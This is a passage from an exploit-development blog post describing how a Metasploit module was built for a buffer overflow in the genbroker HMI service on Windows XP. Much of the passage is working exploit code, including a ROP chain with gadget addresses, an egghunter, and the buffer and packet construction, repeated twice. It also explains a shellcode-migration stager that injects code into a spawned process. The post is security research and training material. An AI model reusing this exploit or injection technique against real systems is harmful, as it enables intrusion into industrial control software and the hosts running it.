** [GenClientU.dll] 0xfffffffc, 0x7c3b2c65, # NEG EAX # RETN ** [MSVCP71.dll] 0x100dda84, # PUSHAD # RETN ** [GenClientU.dll] 0x90908aeb, # go to egghunter ].pack('V*') sploit = target['Ret'] * 180 sploit << "\x7f" * 34 #max buffer + max memcpy() sploit << hunter #32 byte hunter, no room for checksum sploit << rop_chain sploit << "\x41" * 20 #clear out rest of the stack sploit << "\x40" * 8 #nops sploit << egg sploit << "B" * (target['Max']-sploit.length) connect print_status("Sending request...") sock.put(header + sploit) select(nil,nil,nil,15) #increase timeout for egghunter plus virtualalloc() + memcpy() handler disconnect end
Unfortunately that didn’t work either.
put shellcode in a new heap – virtualalloc() + memcpy()
Perhaps we have to create a new heap (using virtualalloc(), copy the shellcode to the new heap, and run it). I inserted a new asm block which allocates some RWX memory, copies the shellcode and runs it.
def exploit move_stub_asm = %Q| mov eax,0x77dd121c push 0x40 push 0x1000 push 0x1000 push 0 call [eax] push 0x450 add edi,0x28 push edi push eax push eax mov eax,0x10162888 push [eax] ret | move_stub = Metasm::Shellcode.assemble(Metasm::Ia32.new, move_stub_asm).encode_string thepayload = move_stub << payload.encoded eggoptions = { :eggtag => 'w00t', } hunter, egg = generate_egghunter(thepayload, "", eggoptions) header = "\x01\x00\x00\x1e\x00\x00\x00\x01\x00\x00\x1f\xf4\x01\x00\x00\x00" header << "\x00\x00\x00\x00\xb0\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x40" rop_chain = [ 0x100b257b, # POP ESP # RETN 0x771a22e4, # pointer in ecx -> initial ret to ret to pointer -> beg rop (thank you mona.py) 0x10047355, # Duplicate, readable, RETN 0x10047355, # POP EAX # RETN ** [GenClientU.dll] 0xffffffde, 0x7c3b2c65, # NEG EAX # RETN ** [MSVCP71.dll] 0x1011e33e, # XCHG EAX,EDX # RETN 0x1001ab22, # POP ECX # RETN ** [GenClientU.dll] 0x77dd1404, # ptr to ptr to NtSetInformationProcess() (ADVAPI.dll, static on XP) 0x100136c0, # MOV EAX,DWORD PTR DS:[ECX] # RETN ** [GenClientU.dll] 0x1008cfd1, # POP EDI, POP ESI, POP EBP, POP EBX, POP ESI,RETN ** [GenClientU.dll] 0x10080163, # POP ESI # RETN -> EDI 0x41414141, 0x41414141, 0xffffffff, # NtCurrentProcess() (EBX) 0x7c331d24, # ptr to 0x2 -> ECX 0x10090e3d, # XCHG EAX,EBP # RETN ** [GenClientU.dll] 0x10047355, # POP EAX # RETN ** [GenClientU.dll] 0xfffffffc, 0x7c3b2c65, # NEG EAX # RETN ** [MSVCP71.dll] 0x100dda84, # PUSHAD # RETN ** [GenClientU.dll] 0x90908aeb, # go to egghunter ].pack('V*') sploit = target['Ret'] * 180 sploit << "\x7f" * 34 #max buffer + max memcpy() sploit << hunter #32 byte hunter, no room for checksum sploit << rop_chain sploit << "\x41" * 20 #clear out rest of the stack sploit << "\x40" * 8 #nops sploit << egg sploit << "B" * (target['Max']-sploit.length) connect print_status("Sending request...") sock.put(header + sploit) select(nil,nil,nil,15) #increase timeout for egghunter plus virtualalloc() + memcpy() handler disconnect end
Still no go.
Fix heap – HeapCreate()
All previous attempts to make meterpreter work have failed.
At this point, Peter jumped in again. He spoke with HDM who suggested trying to fix the default heap.
The easiest way to do this is by creating a fresh new heap (HeapCreate()) and to replace a pointer in the PEB (which indicates the baseaddress of the default process heap) with the baseaddress of the new heap.
The pointer to the PEB is located at TIB+0x30. We can access this value using fs:[0x30]. At offset 0x18 in the PEB, we find the pointer to pointer to the default heap.
A basic example of asm code to do this would look like this. We obviously need to find a static/reliable pointer to kernel32.HeapCreate(), but since we were still “trying”, we decided to just hardcode the pointer for now.
mov eax,0x12345678 ; put pointer to Kernel32.HeapCreate() in eax push 0x2000 ; set up arguments push 0x1000 push 0x40000 call eax ; call HeapCreate() mov ebx,[fs:0x30] ; peb add ebx,0x18 ; default process heap in peb mov [ebx],eax ; replace default process heap
Unfortunately, this technique didn’t work either, so we didn’t even have to figure out a way to get a reliable pointer to HeapCreate() (which would be trivial really – we could simply write some shellcode to get the base of kernel32 and then locate the pointer to the HeapCreate function()… – anyways, no need, doesn’t work)
ASM time!
At this point, Peter realized we need an entirely different approach to fixing this last (but important) problem. He decided to write a stager that would (hopefully) overcome all shellcode execution / heap related issues.
The plan is to place the stager right before the actual shellcode and have it migrate the shellcode into a new process. Since the target (genbroker) runs as a service and does not interact with the desktop, it should be pretty simple to spawn a new process (without triggering an unexpected/rogue gui application on the desktop) and inject the actual shellcode into it.
This is what the stager does :
First, it finds the base of kernel32.dll, followed by locating the function pointers to the following API’s in kernel32 :
- getStartupInfo()
- Sleep()
- CreateProcessA()
- VirtualAllocEx()
- WriteProcessMemory()
- CreateRemoteThread()
Next, it gets a pointer to “calc”, a string placed at the end of the migrator/stager.
Before creating a new process, the migrator grabs the startupinfo structure from the current process and writes it onto the stack. This will make it easier to create a new process because we can simply reuse it.
Next, the stack is set up with the arguments for CreateProcess() :
BOOL WINAPI CreateProcess( __in_opt LPCTSTR lpApplicationName, __inout_opt LPTSTR lpCommandLine, __in_opt LPSECURITY_ATTRIBUTES lpProcessAttributes, __in_opt LPSECURITY_ATTRIBUTES lpThreadAttributes, __in BOOL bInheritHandles, __in DWORD dwCreationFlags, __in_opt LPVOID lpEnvironment, __in_opt LPCTSTR lpCurrentDirectory, __in LPSTARTUPINFO lpStartupInfo, __out LPPROCESS_INFORMATION lpProcessInformation );
The lpCommandLine argument is the pointer to “calc”, lpStartupInfo is the pointer to the startupinfo structure we grabbed earlier, and lpProcessInformation contains a pointer to the stack (indicating where the CreateProcess() call can write the process information to)
After the call to CreateProcess(), a new childprocess “calc” is found running. In order to allow the process to properly initialize, the call is followed by kernel32.Sleep(3000), basically allowing calc.exe to initialize for 3 seconds. This is a bit “ugly”… a call to WaitForInputIdle() would have been better, but that API is not part of kernel32 (and loading user32.dll would only make the shellcode larger). Furthermore, the process we are spawning (calc.exe) is small and fast. Simply waiting for 3 seconds should never be an issue.
Next, the handle to the newly created process is retrieved from the ProcessInformation structure that was written onto the stack during the CreateProcess() call. Using that handle, VirtualAllocEx() can allocate some RWX memory inside the newly created process. When this call returns, eax contains the base address of the allocated memory.
Next, the code uses WriteProcessMemory() to copy the shellcode (which is placed right after the migrator code) to the allocated memory in the new process.
Finally, a call to CreateRemoteThread() (again using the process handle and the base address of the allocated memory) will kick off the shellcode inside the new process.
You can find the entire asm routine here (start at line 75)
Corelan wouldn’t be Corelan if we would not try to make this solution generic, so Peter submitted his migrator as an option to the payload generator routine in Metasploit. If and when it gets accepted (who knows), you should be able to migrate any shellcode into a new process by simply setting some Payload options :
Example :
'Payload' => { 'BadChars' => "\x00", 'Migrate' => 'True', 'MigrateOptions' => { 'Delay' => 2, 'Process' => "cmd", }, },
This will generate the migrator and prepend it to the shellcode (before encoding it, if needed). Of course, this will make the total shellcode bigger, but at least it will be reliable and can be used as a last resort in case the current process memory is severely crunched and melted down.
Note that, in order to be able to hide the GUI of the newly created process, you’ll have to use a console app (such as cmd.exe, which is the default btw). If your target is running as a service, which does not interact with the desktop, you can use any other process.
The final test
Woot!
Mission accomplished !
All in all this was extremely fun and I appreciate the contest Metasploit put together.
I had pushed everything I learned to the limit and in the process managed to learn few new things, and at the end of the day that’s what it’s all about, so I hope you enjoyed this ride as much as we did.
You can find the entire Metasploit module here
Special Thanks
- Luigi Auriemma – for discovering the vulnerability and poc, as well as support
- Peter Van Eeckhoutte “corelanc0d3r” – for co-writing parts of the article and assisting me when all else failed!
- HDM – for pointing out the problem with Meterpreter and suggesting to try to fix the heap.
- Dillon Beresford – For confirming that Windows XP is the most commonly used target for HMI applications.
- sinn3r – For patiently testing the application with me
- my wife – For supporting my hobby
- and of course Corelan Team – putting up with my antics!
© 2011 – 2021, Corelan Team (Lincoln). All rights reserved.
Similar/Related posts:
One Response to Metasploit Bounty – the Good, the Bad and the Ugly
Corelan Training
Check out our schedules page here and sign up for one of our classes now!
Donate
Your donation will help funding server hosting.
Corelan Team Merchandise
Corelan on Slack
You can chat with us and our friends on our Slack workspace: